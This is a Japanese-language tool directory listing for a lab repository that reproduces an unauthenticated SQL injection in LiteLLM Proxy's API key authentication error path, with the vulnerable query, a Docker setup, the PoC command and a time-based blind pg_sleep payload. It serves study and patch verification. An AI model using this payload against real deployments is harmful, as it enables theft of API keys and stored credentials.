Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42208_lab — LiteLLM ProxyのAPIキー認証における重大なSQLインジェクションの再現環境。時間ベースのブラインドPoCとテスト用Dockerセットアップを含む。 | Kitploit
ツール/GitHubGitHub/imjdl/cve-2026-42208_lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

LiteLLM ProxyのAPIキー認証における重大なSQLインジェクションの再現環境。時間ベースのブラインドPoCとテスト用Dockerセットアップを含む。

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LiteLLM Proxy SQLインジェクション(GHSA-r75f-5x8p-qvmc)

LiteLLM ProxyのAPIキー認証フローにおけるSQLインジェクション脆弱性の再現環境です。

脆弱性の概要

項目詳細
アドバイザリGHSA-r75f-5x8p-qvmc
種別SQLインジェクション(CWE-89)
深刻度Critical
影響を受けるバージョンlitellm >=1.81.16, <1.83.7
修正バージョンlitellm >=1.83.7(コミット 4dc416ee74)

攻撃経路

インジェクションはエラーハンドリングコールバック経路で発生します。メインの認証フローではありません。sk- プレフィックスを持たないトークンが送信されると、アサーションが失敗し、生の(ハッシュ化されていない)トークンが失敗コールバックチェーンを通って、f-string補間を使用するSQLクエリに流れ込みます:

root@kitploit:~
HTTPリクエスト: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") が失敗
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← インジェクション

メインの sk- 認証経路は悪用できません。トークンはクエリに到達する前にSHA256でハッシュ化され、[0-9a-f] 文字のみが生成されるためです。

再現手順

1. 脆弱な環境を起動

root@kitploit:~
docker compose up -d

これにより、PostgreSQLバックエンドを備えたLiteLLM Proxy(v1.83.3-stable)が起動します。

2. PoCを実行

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

期待される出力

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

技術的詳細

ペイロードの構成

PostgreSQLの pg_sleep() は void を返すため、ブールコンテキスト(OR)では使用できません。ペイロードはサブクエリでラップすることで型エラーを回避しています:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

これは litellm/proxy/utils.py の combined_view クエリに注入されます:

root@kitploit:~
# 脆弱なコード(<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← ユーザー入力のf-string補間
"""

影響

  • 認証不要 — 有効なAPIキーは不要
  • データベース読み取りアクセス — ブラインドインジェクションで任意のデータを抽出可能(APIキー、認証情報、設定)
  • プロキシが管理するすべてのLLMプロバイダーキーがリスクにさらされます

参考情報

  • GitHub Security Advisory
  • 修正コミット 4dc416ee74
  • Sysdig TRT脅威インテリジェンスレポート — 開示から36時間以内に実環境での悪用が観測されました
ツールをダウンロード